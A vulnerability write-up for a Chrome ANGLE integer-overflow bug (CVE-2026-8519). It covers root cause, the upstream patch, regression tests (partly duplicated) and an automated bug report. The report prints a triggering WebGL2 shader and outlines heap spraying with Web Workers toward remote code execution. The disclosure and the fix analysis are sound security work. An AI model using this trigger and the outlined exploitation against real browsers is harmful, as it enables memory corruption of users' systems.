CVE-2026-8519
Overview
Background
- ANGLE
- Chrome’s translation layer that compiles WebGL/GLSL shaders into native graphics API calls; its
translatorcomponent parses and validates shader source. - `TParseContext`
- the ANGLE translator’s parser-context class that performs semantic checks and builds the shader’s intermediate representation (IR) during compilation.
- `kWebGLMaxVariableSizeInBytes`
- the WebGL-imposed upper bound on a single shader variable’s byte size, enforced to reject pathologically large declarations.
- IntegerOverflow
- arithmetic wrap-around when a computed byte size exceeds
2^32, yielding a small wrapped value that later drives under-sized allocation and copies.
Root Cause Analysis
Verify before building a PoC
What the commit does not establish: The diff confirms the size-check error did not abort the declaration. The under-allocation/OOB copy is asserted as fact but the initializer code is not in the diff. The regression test trips the private-variable limit, not kWebGLMaxVariableSizeInBytes.
sh::TParseContext::checkVariableSize computed a declared variable’s total byte size and called error() when the size exceeded kWebGLMaxVariableSizeInBytes, but it returned void, so the emitted error did not stop the caller.
As a result, the declaration path (executeInitializer / addVariable) continued past the failed check and proceeded to set up the variable’s initializer and emit an IR node for it. For a variable whose true size overflows 32-bit math — e.g. a deeply nested const struct array exceeding 4*4GB — the size used by downstream initializer and IR machinery was the wrapped, small value rather than the real size. That wrapped size was then used to allocate and copy the initializer data, producing an integer-overflow-driven under-allocation and out-of-bounds access during shader compilation. The size overflow occurs in 32-bit size arithmetic, so the WebGL limit check was the only intended gate, and its non-abortive behavior let the corrupted size flow forward.
The fix changes checkVariableSize to return bool (false on over-limit, after error()) and has the caller return false before checkVariableLocations and before declaring the variable, so the wrapped size is never consumed.
error() is not the same as aborting the declaration: unless the caller checks the return value and stops, validation continues to build IR and initializers using the very oversized (and here wrapped) size the check was meant to reject.Attack Path
- Craft nested type
Author a WebGL2 shader defining nested struct arrays (
S: 256 floats,S2: 256S,c: 65537S2) whose total byte size exceeds4*4GBand overflows 32-bit size math. - Attach initializer
Declare the oversized
constvariable with an initializer so theexecuteInitializerpath is taken. - Bypass the gate
checkVariableSizecallserror()but returnsvoid, so the caller ignores it and keeps declaring the variable. - Consume wrapped size Initializer and IR setup allocate and copy based on the wrapped (small) 32-bit size, under-allocating the backing buffer.
- Trigger OOB Initializer data sized to the true (huge) type is written into the under-allocated buffer, causing an out-of-bounds write/read during compilation.
Impact Assessment
Files Changed
src/compiler/translator/ParseContext.cppsrc/compiler/translator/ParseContext.hsrc/tests/gl_tests/GLSLValidationTest.cpp
Audit Directions
- Void validators that only `error()`Audit ANGLE translator checks that call
error()but returnvoid; a diagnostic without a propagated failure lets callers continue building IR from rejected input. - Size math on nested aggregate typesReview byte-size and element-count computations for arrays of structs of arrays where products can exceed 32-bit range; ensure they use overflow-safe widths or are gated before any allocation.
- Declaration paths after a failed checkTrace
executeInitializer/addVariableand similar paths to confirm that every early-failing check short-circuits initializer allocation, copy, and IR-node creation rather than merely recording an error.
Patch
From d8ffa7447da0342d3ba77c152c3343ba633ff9f5 Mon Sep 17 00:00:00 2001
From: Shahbaz Youssefi <syoussefi@chromium.org>
Date: Mon, 20 Apr 2026 11:37:22 -0400
Subject: [PATCH] Translator: Avoid setting initializer for too-large variable
Test credit kbr@chromium.org / gemini.
Fixed: chromium:498400132
Change-Id: I4b5379de712c22fcfcdbabbaf9c3f92bae209922
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7778457
Auto-Submit: Shahbaz Youssefi <syoussefi@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Commit-Queue: Shahbaz Youssefi <syoussefi@chromium.org>
---
diff --git a/src/compiler/translator/ParseContext.cpp b/src/compiler/translator/ParseContext.cpp
index 62e78a5..5e41089 100644
--- a/src/compiler/translator/ParseContext.cpp
+++ b/src/compiler/translator/ParseContext.cpp
@@ -1708,7 +1708,7 @@
}
}
-void TParseContext::checkVariableSize(const TSourceLoc &line,
+bool TParseContext::checkVariableSize(const TSourceLoc &line,
const ImmutableString &identifier,
const TType *type)
{
@@ -1726,7 +1726,7 @@
if (!mCompileOptions.rejectWebglShadersWithLargeVariables || numErrors() > 0 ||
(mShaderType != GL_VERTEX_SHADER && mShaderType != GL_FRAGMENT_SHADER))
{
- return;
+ return true;
}
// Note: the only allowed interface block in webgl shaders is UBOs in std140 mode, so the size
@@ -1739,7 +1739,7 @@
if (variableSize > kWebGLMaxVariableSizeInBytes)
{
error(line, "Size of declared variable exceeds implementation-defined limit", identifier);
- return;
+ return false;
}
switch (type->getQualifier())
@@ -1785,13 +1785,14 @@
error(line,
"Size of declared private variable exceeds implementation-defined limit",
identifier);
- return;
+ return false;
}
mTotalPrivateVariablesSize += variableSize;
break;
default:
break;
}
+ return true;
}
void TParseContext::checkVaryingLocations(const TSourceLoc &line, const TVariable *variable)
@@ -2147,7 +2148,10 @@
return false;
}
- checkVariableSize(line, identifier, type);
+ if (!checkVariableSize(line, identifier, type))
+ {
+ return false;
+ }
checkVariableLocations(line, *variable);
// Declare the variable in IR
diff --git a/src/compiler/translator/ParseContext.h b/src/compiler/translator/ParseContext.h
index e89684b..1f83d31 100644
--- a/src/compiler/translator/ParseContext.h
+++ b/src/compiler/translator/ParseContext.h
@@ -753,7 +753,7 @@
bool parseTessControlShaderOutputLayoutQualifier(const TTypeQualifier &typeQualifier);
bool parseTessEvaluationShaderInputLayoutQualifier(const TTypeQualifier &typeQualifier);
- void checkVariableSize(const TSourceLoc &line,
+ bool checkVariableSize(const TSourceLoc &line,
const ImmutableString &identifier,
const TType *type);
void checkVaryingLocations(const TSourceLoc &line, const TVariable *variable);
diff --git a/src/tests/gl_tests/GLSLValidationTest.cpp b/src/tests/gl_tests/GLSLValidationTest.cpp
index 8e64731..7afe0d0 100644
--- a/src/tests/gl_tests/GLSLValidationTest.cpp
+++ b/src/tests/gl_tests/GLSLValidationTest.cpp
@@ -11,6 +11,8 @@
#include "test_utils/CompilerTest.h"
#include "test_utils/angle_test_configs.h"
+#include <sstream>
+
using namespace angle;
namespace
@@ -2752,6 +2754,115 @@
"'Block' : Size of declared variable exceeds implementation-defined limit");
}
+// Regression test for a 32-bit overflow bug when setting initializer for a large constant.
+TEST_P(WebGL2GLSLValidationTest, LargeConstantVariableWithInitializer)
+{
+ const int N1 = 256;
+ const int N2 = 256;
+ const int N3 = 65537;
+
+ std::ostringstream aInit;
+ const char *delim = "";
+ for (int i = 0; i < N1; i++)
+ {
+ aInit << delim << "1.5";
+ delim = ",";
+ }
+
+ std::ostringstream bInit;
+ delim = "";
+ for (int i = 0; i < N2; i++)
+ {
+ bInit << delim << "sA";
+ delim = ",";
+ }
+
+ std::ostringstream cInit;
+ delim = "";
+ for (int i = 0; i < N3; i++)
+ {
+ cInit << delim << "sB";
+ delim = ",";
+ }
+
+ // Set up a shader with large arrays, overflowing 32-bit math.
+ //
+ // S: 256*sizeof(float) = 1024 bytes
+ // S2: 256*sizeof(S) = 256KB
+ // c: 65537*sizeof(S2) >= 4*4GB
+ std::ostringstream fs;
+ fs << "#version 300 es\n"
+ << "precision highp float;\n"
+ << "struct S { float a[" << N1 << "]; };\n"
+ << "struct S2 { S b[" << N2 << "]; };\n"
+ << "const float a[" << N1 << "] = float[" << N1 << "](" << aInit.str() << ");\n"
+ << "const S sA = S(a);\n"
+ << "const S b[" << N2 << "] = S[" << N2 << "](" << bInit.str() << ");\n"
+ << "const S2 sB = S2(b);\n"
+ << "const S2 c[" << N3 << "] = S2[" << N3 << "](" << cInit.str() << ");\n"
+ << "void main(){}\n";
+
+ validateError(GL_FRAGMENT_SHADER, fs.str().c_str(),
+ "Size of declared private variable exceeds implementation-defined limit");
+}
+
+// Test using a large constant that is declared inline, without using variable space that would
+// exceed the implementation-defined limit. Because of the variable limit, the shader would have to
+// either inline an extremely large constant, which would practically take forever to construct and
+// parse, or use near-limit private variables. In the latter case, the constant array constructor
+// does not cause any 32-bit overflows, so the shader succeeds compilation just fine. If the large
+// constant is indexed, it can get constant folded, but at that point the constant is small.
+TEST_P(WebGL2GLSLValidationTest, InlineLargeConstant)
+{
+ const int N1 = 256;
+ const int N2 = 32;
+ const int N3 = 65536 * 8 + 1;
+
+ std::ostringstream aInit;
+ const char *delim = "";
+ for (int i = 0; i < N1; i++)
+ {
+ aInit << delim << "1.5";
+ delim = ",";
+ }
+
+ std::ostringstream bInit;
+ delim = "";
+ for (int i = 0; i < N2; i++)
+ {
+ bInit << delim << "sA";
+ delim = ",";
+ }
+
+ std::ostringstream s2;
+ s2 << "S2[" << N3 << "](";
+ delim = "";
+ for (int i = 0; i < N3; i++)
+ {
+ s2 << delim << "sB";
+ delim = ",";
+ }
+ s2 << ")";
+
+ // Set up a shader with large arrays, overflowing 32-bit math.
+ //
+ // S: 256*sizeof(float) = 1024 bytes
+ // S2: 32*sizeof(S) = 32KB
+ // constant: (65536 * 8 + 1)*sizeof(S2) >= 4*4GB
Regression Test / PoC
diff --git a/src/tests/gl_tests/GLSLValidationTest.cpp b/src/tests/gl_tests/GLSLValidationTest.cpp
index 8e64731..7afe0d0 100644
--- a/src/tests/gl_tests/GLSLValidationTest.cpp
+++ b/src/tests/gl_tests/GLSLValidationTest.cpp
@@ -11,6 +11,8 @@
#include "test_utils/CompilerTest.h"
#include "test_utils/angle_test_configs.h"
+#include <sstream>
+
using namespace angle;
namespace
@@ -2752,6 +2754,115 @@
"'Block' : Size of declared variable exceeds implementation-defined limit");
}
+// Regression test for a 32-bit overflow bug when setting initializer for a large constant.
+TEST_P(WebGL2GLSLValidationTest, LargeConstantVariableWithInitializer)
+{
+ const int N1 = 256;
+ const int N2 = 256;
+ const int N3 = 65537;
+
+ std::ostringstream aInit;
+ const char *delim = "";
+ for (int i = 0; i < N1; i++)
+ {
+ aInit << delim << "1.5";
+ delim = ",";
+ }
+
+ std::ostringstream bInit;
+ delim = "";
+ for (int i = 0; i < N2; i++)
+ {
+ bInit << delim << "sA";
+ delim = ",";
+ }
+
+ std::ostringstream cInit;
+ delim = "";
+ for (int i = 0; i < N3; i++)
+ {
+ cInit << delim << "sB";
+ delim = ",";
+ }
+
+ // Set up a shader with large arrays, overflowing 32-bit math.
+ //
+ // S: 256*sizeof(float) = 1024 bytes
+ // S2: 256*sizeof(S) = 256KB
+ // c: 65537*sizeof(S2) >= 4*4GB
+ std::ostringstream fs;
+ fs << "#version 300 es\n"
+ << "precision highp float;\n"
+ << "struct S { float a[" << N1 << "]; };\n"
+ << "struct S2 { S b[" << N2 << "]; };\n"
+ << "const float a[" << N1 << "] = float[" << N1 << "](" << aInit.str() << ");\n"
+ << "const S sA = S(a);\n"
+ << "const S b[" << N2 << "] = S[" << N2 << "](" << bInit.str() << ");\n"
+ << "const S2 sB = S2(b);\n"
+ << "const S2 c[" << N3 << "] = S2[" << N3 << "](" << cInit.str() << ");\n"
+ << "void main(){}\n";
+
+ validateError(GL_FRAGMENT_SHADER, fs.str().c_str(),
+ "Size of declared private variable exceeds implementation-defined limit");
+}
+
+// Test using a large constant that is declared inline, without using variable space that would
+// exceed the implementation-defined limit. Because of the variable limit, the shader would have to
+// either inline an extremely large constant, which would practically take forever to construct and
+// parse, or use near-limit private variables. In the latter case, the constant array constructor
+// does not cause any 32-bit overflows, so the shader succeeds compilation just fine. If the large
+// constant is indexed, it can get constant folded, but at that point the constant is small.
+TEST_P(WebGL2GLSLValidationTest, InlineLargeConstant)
+{
+ const int N1 = 256;
+ const int N2 = 32;
+ const int N3 = 65536 * 8 + 1;
+
+ std::ostringstream aInit;
+ const char *delim = "";
+ for (int i = 0; i < N1; i++)
+ {
+ aInit << delim << "1.5";
+ delim = ",";
+ }
+
+ std::ostringstream bInit;
+ delim = "";
+ for (int i = 0; i < N2; i++)
+ {
+ bInit << delim << "sA";
+ delim = ",";
+ }
+
+ std::ostringstream s2;
+ s2 << "S2[" << N3 << "](";
+ delim = "";
+ for (int i = 0; i < N3; i++)
+ {
+ s2 << delim << "sB";
+ delim = ",";
+ }
+ s2 << ")";
+
+ // Set up a shader with large arrays, overflowing 32-bit math.
+ //
+ // S: 256*sizeof(float) = 1024 bytes
+ // S2: 32*sizeof(S) = 32KB
+ // constant: (65536 * 8 + 1)*sizeof(S2) >= 4*4GB
+ std::ostringstream fs;
+ fs << "#version 300 es\n"
+ << "precision highp float;\n"
+ << "struct S { float a[" << N1 << "]; };\n"
+ << "struct S2 { S b[" << N2 << "]; };\n"
+ << "const float a[" << N1 << "] = float[" << N1 << "](" << aInit.str() << ");\n"
+ << "const S sA = S(a);\n"
+ << "const S b[" << N2 << "] = S[" << N2 << "](" << bInit.str() << ");\n"
+ << "const S2 sB = S2(b);\n"
+ << "void main(){ " << s2.str() << "[0].b[0].a[0]; }\n";
+
+ validateSuccess(GL_FRAGMENT_SHADER, fs.str().c_str());
+}
+
// Test that too large color outputs are rejected
TEST_P(WebGL2GLSLValidationTest, LargeColorOutput)
{
Original Bug Report
32-bit size_t overflow in ANGLE's TIntermAggregate::getConstantValue leads to heap OOB write
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: A 32-bit integer overflow can occur in ANGLE’s TIntermAggregate::getConstantValue when multiplying elementSize by getOutermostArraySize(). This results in an undersized memory allocation followed by a massive out-of-bounds heap write during constant array initialization. The issue is reachable via WebGL2 and impacts 32-bit platforms such as Android ARMv7.
Affected files:
third_party/angle/src/compiler/translator/IntermNode.cppthird_party/angle/src/compiler/translator/ParseContext.cppthird_party/angle/src/common/PoolAlloc.cppthird_party/angle/src/compiler/translator/Types.cpp
Estimated timestamp from git blame: 2026-01-21
Description
A potential integer overflow vulnerability exists in the ANGLE compiler’s TIntermAggregate::getConstantValue function. When processing constant array constructors, the code calculates the required size for a new TConstantUnion array by multiplying the element size by the number of elements. On 32-bit systems, this multiplication can overflow the 32-bit size_t, leading to an undersized memory allocation. The subsequent loop, which initializes the array using memcpy, continues for the full number of elements, resulting in a linear out-of-bounds heap write.
Technical Details
In third_party/angle/src/compiler/translator/IntermNode.cpp around line 878, the array-constructor path performs the following calculation:
size_t elementSize = mArguments.front()->getAsTyped()->getType().getObjectSize();
constArray = new TConstantUnion[elementSize * getOutermostArraySize()];
On 32-bit targets, if elementSize * getOutermostArraySize() exceeds UINT_MAX, the product wraps around. This causes the allocation of an undersized buffer. The following loop then performs getOutermostArraySize() iterations of memcpy, writing far past the end of the allocated buffer.
size_t elementOffset = 0u;
for (TIntermNode *constructorArg : mArguments)
{
const TConstantUnion *elementConstArray =
constructorArg->getAsTyped()->getConstantValue();
ASSERT(elementConstArray);
size_t elementSizeBytes = sizeof(TConstantUnion) * elementSize;
memcpy(static_cast<void *>(&constArray[elementOffset]),
static_cast<const void *>(elementConstArray), elementSizeBytes);
elementOffset += elementSize;
}
Amplification and Mitigations Bypassed
- Constant Amplification: Through the use of nested structures and large constant arrays, an attacker can geometrically increase the
elementSizewithout exceeding parser depth limits. For example, a struct containing an array of structs can multiply the size at each level of nesting. - Size Check Bypass: While ANGLE includes a
checkVariableSizefunction (inParseContext.cpp), it does not prevent this overflow. The function issues an error but returnsvoid, and the callerdeclareVariableignores the error state, returningtrueand allowing the process to continue toexecuteInitializer. Furthermore, if an error has already been recorded (e.g., from a preliminary large constant declaration or syntax error),checkVariableSizeshort-circuits due to anumErrors() > 0check, skipping the size validation entirely for subsequent variables. - Allocator Behavior: The allocation uses
PoolAllocator, which for large allocations falls back tonew (std::nothrow) uint8_t[](inPoolAlloc.cpp:320). This typically results in a standalone heap chunk (PartitionAlloc in Chrome). The OOB write will corrupt adjacent heap objects.
Potential Exploitation Steps
While our tooling agent cannot execute code to provide a working proof-of-concept, the following steps suggest how an attacker might trigger the vulnerability:
- Craft a WebGL2 shader (ESSL 3.00) targeted at a 32-bit platform (e.g., Android ARMv7).
- Define nested structures to amplify the object size to a large value, e.g.,
0x10000(65,536).#version 300 es precision highp float; struct S { float a[256]; }; struct S2 { S b[256]; }; - Declare a massive constant array of these structures, where the outermost array size is
0x10001(65,537).const float A[256] = float[256](... 256 float literals ...); const S sA = S(A); const S B[256] = S[256](sA, sA, ..., sA); const S2 sB = S2(B); // elementSize = 0x10000 (65536) // arraySize = 0x10001 (65537) // product = 0x100010000 -> wraps to 0x10000 on 32-bit const S2 D[65537] = S2[65537](sB, sB, ..., sB); void main(){} - Calling
gl.compileShader()with this source will trigger the heap OOB write during the constant folding of variableD. - The loop performs a massive linear out-of-bounds write of the attacker-controlled constant data. Although this will eventually hit an unmapped page and crash, an attacker can use concurrent Web Workers to spray objects in the GPU process heap and exploit the race window to achieve remote code execution before the crash occurs.
Suggested Fix
The multiplication in TIntermAggregate::getConstantValue should use safe math operations (e.g., using a checked math class) to prevent integer overflow. If an overflow is detected, the function should handle the error gracefully without allocating undersized memory. Additionally, checkVariableSize in ParseContext.cpp should perhaps halt the compilation or prevent executeInitializer from being called if the variable exceeds maximum size limits.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.